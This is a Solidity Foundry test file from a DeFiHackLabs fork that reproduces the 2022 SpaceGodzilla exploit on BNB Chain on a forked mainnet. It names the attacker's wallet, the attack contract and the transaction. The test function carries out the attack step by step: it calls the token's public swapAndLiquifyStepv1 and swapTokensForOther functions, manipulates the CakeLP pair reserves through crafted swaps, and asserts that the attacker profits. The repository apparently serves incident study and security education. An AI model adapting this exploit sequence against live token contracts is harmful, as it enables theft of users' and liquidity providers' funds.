forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 3
/
SpaceGodzilla.exp.sol
130 lines (111 loc) · 7.45 KB
/
SpaceGodzilla.exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
/* @KeyInfo - Total Lost : 25,378 BUSD
Attacker Wallet : https://bscscan.com/address/0x00a62eb08868ec6feb23465f61aa963b89e57e57
Attack Contract : https://bscscan.com/address/0x3d817ea746edd02c088c4df47c0ece0bd28dcd72
SpaceGodzilla : https://bscscan.com/address/0x2287c04a15bb11ad1358ba5702c1c95e2d13a5e0
Attack Tx : https://bscscan.com/tx/0x7f183df11f1a0225b5eb5bb2296b5dc51c0f3570e8cc15f0754de8e6f8b4cca4
*/
/* @News
BlockSec : https://mobile.twitter.com/BlockSecTeam/status/1547456591900749824
PANews : https://www.panewslab.com/zh_hk/articledetails/u25j5p3kdvu9.html
*/
/* @Reports
Numen Cyber Labs : https://medium.com/numen-cyber-labs/spacegodzilla-attack-event-analysis-d29a061b17e1
Learnblockchain.cn Analysis : https://learnblockchain.cn/article/4396
Learnblockchain.cn Analysis : https://learnblockchain.cn/article/4395
*/
/* We skipped the part where the attacker made a flashloan with 16 pools to get the initial capital
Here are the pools that attacker borrowed:
address constant pool1 = 0x203e062964500808151E069Eda017097E510B710; // BUSD/GERA Pool
address constant pool2 = 0x535Ae122657E5F17FB03540A98BF9F494a06e2A4; // BUSD/BABBC Pool
address constant pool3 = 0xa91E7d767FFdbFF64a955f32E8E3F08AfaB3047b; // WBNB/Fei Pool
address constant pool4 = 0x0e15e47C3DE9CD92379703cf18251a2D13E155A7; // DBTC/USDT Pool
address constant pool5 = 0x409E377A7AfFB1FD3369cfc24880aD58895D1dD9; // TUF/USDT Pool
address constant pool6 = 0x8A1C25e382B80E7860DB1ae619E1Fc92a0cd7104; // FREY/USDT Pool
address constant pool7 = 0x409E377A7AfFB1FD3369cfc24880aD58895D1dD9; // Leek/USDT Pool
address constant pool8 = 0x409E377A7AfFB1FD3369cfc24880aD58895D1dD9; // CC/BUSD Pool
address constant pool9 = 0x409E377A7AfFB1FD3369cfc24880aD58895D1dD9; // ASET/USDT Pool
address constant pool10 = 0xb19265426ce5bC1E015C0c503dFe6EF7c407a406; // USX/BUSD Pool
address constant pool11 = 0xe3C58d202D4047Ba227e437b79871d51982deEb7; // BTCB/BUSD Pool DSPFlashLoanCall
address constant pool12 = 0x9BA8966B706c905E594AcbB946Ad5e29509f45EB; // ETH/BUSD Pool DPPFlashLoanCall
address constant pool13 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476; // WBNB/USDT Pool DPPFlashLoanCall
address constant pool14 = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4; // WBNB/BUSD Pool DPPFlashLoanCall
address constant pool15 = 0x409E377A7AfFB1FD3369cfc24880aD58895D1dD9; // ANTEX/BUSD Pool
address constant pool16 = 0xD534fAE679f7F02364D177E9D44F1D15963c0Dd7; // DODO/WBNB Pool
*/
interface ISpaceGodzilla {
function swapAndLiquifyStepv1() external;
function swapTokensForOther(uint256 tokenAmount) external;
}
contract AttackContract is Test {
using stdStorage for StdStorage;
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
address USDT = 0x55d398326f99059fF775485246999027B3197955;
address CakeLP = 0x8AfF4e8d24F445Df313928839eC96c4A618a91C8; // SpaceGodzilla/USDT LP Pool
address SpaceGodzilla = 0x2287C04a15bb11ad1358BA5702C1C95E2D13a5E0;
constructor() {
cheat.createSelectFork("bsc", 19523980); // Fork BSC mainnet at block 19523981
cheat.label(address(this), "AttackContract");
cheat.label(USDT, "USDT");
cheat.label(CakeLP, "CakeLP");
cheat.label(SpaceGodzilla, "SpaceGodzilla");
emit log_string("This reproduce shows how attacker exploit SpaceGodzilla, cause 25,378 BUSD lost");
emit log_string("[Note] We skipped the part where the attacker made a flash loan with 16 pools to get the initial capital");
// Attacker flashloan 16 pools, to borrow 2.95 millon USDT as initial capital
stdstore.target(USDT)
.sig(IERC20(USDT).balanceOf.selector)
.with_key(address(this))
.checked_write(2952797730003166405412733);
uint256 usdt_balance = IERC20(USDT).balanceOf(address(this));
assert(usdt_balance == 2952797730003166405412733);
}
function testExploit() public {
uint256 init_capital = IERC20(USDT).balanceOf(address(this));
emit log_named_decimal_uint("[info] Attacker USDT Balance", init_capital, 18);
// ========================================================
ISpaceGodzilla(SpaceGodzilla).swapTokensForOther(69127461036369179405415017714);
(uint r0, uint r1, ) = Uni_Pair_V2(CakeLP).getReserves();
assert(r0 == 76041697635825849047705725848735);
assert(r1 == 90478604689102338898952);
// ========================================================
uint256 usdt_balance = IERC20(USDT).balanceOf(address(this));
uint256 trans_usdt_balance = usdt_balance - 100000;
bool suc = IERC20(USDT).transfer(CakeLP, trans_usdt_balance);
require(suc, "Transfer Failed");
// ========================================================
uint256 amount0Out = r0 - (r0 * 30 / 1000);
emit log_named_uint("First swap amount0Out", amount0Out);
Uni_Pair_V2(CakeLP).swap(amount0Out, 0, address(this), ''); // 73,775,430,786,944,730,258,898,675,433,018 可能會變動，因為不知道攻擊者怎麼算3％手續費
// ========================================================
ISpaceGodzilla(SpaceGodzilla).swapAndLiquifyStepv1();
// ========================================================
uint256 SpaceGodzilla_balance = IERC20(SpaceGodzilla).balanceOf(address(this)); // 71,562,167,863,336,388,351,131,715,170,010 可能會變動，因為不知道攻擊者怎麼算3％手續費
emit log_named_uint("address(this) SpaceGodzilla_balance", SpaceGodzilla_balance);
// ========================================================
(r0, r1, ) = Uni_Pair_V2(CakeLP).getReserves(); // 2,288,901,594,081,170,758,102,038,305,061 3,073,671,601,005,728,817,436,539
assert(r1 == 3073671601005728817436539);
// ========================================================
suc = IERC20(USDT).transfer(CakeLP, 20000);
require(suc, "Transfer Failed");
// ========================================================
suc = IERC20(SpaceGodzilla).transfer(CakeLP, SpaceGodzilla_balance); // Transfer 所有 SpaceGodzilla 給 LP
require(suc, "Transfer Failed");
// ========================================================
uint256 LP_SpaceGodzilla_balance = IERC20(SpaceGodzilla).balanceOf(address(CakeLP));
emit log_named_uint("address(CakeLP) SpaceGodzilla_balance", LP_SpaceGodzilla_balance); // 73,851,069,457,417,559,109,233,753,475,071 可能會變動，因為不知道攻擊者怎麼算3％手續費
// ========================================================
uint256 amount1Out = r1 - (r1 * 32 / 1000);
emit log_named_uint("First swap amount1Out", amount1Out); // 2,978,176,485,325,154,862,214,560
Uni_Pair_V2(CakeLP).swap(0, amount1Out, address(this), '');
// ========================================================
usdt_balance = IERC20(USDT).balanceOf(address(this));
emit log_named_decimal_uint("[info] Attacker Wallet USDT Balance", usdt_balance, 18);
require(usdt_balance > init_capital, "Exploit Failed, attacker take losses");
uint256 profit = usdt_balance - init_capital;
emit log_named_decimal_uint("[Profit] Attacker Wallet USDT Profit", profit, 18);
}
receive() external payable {}
}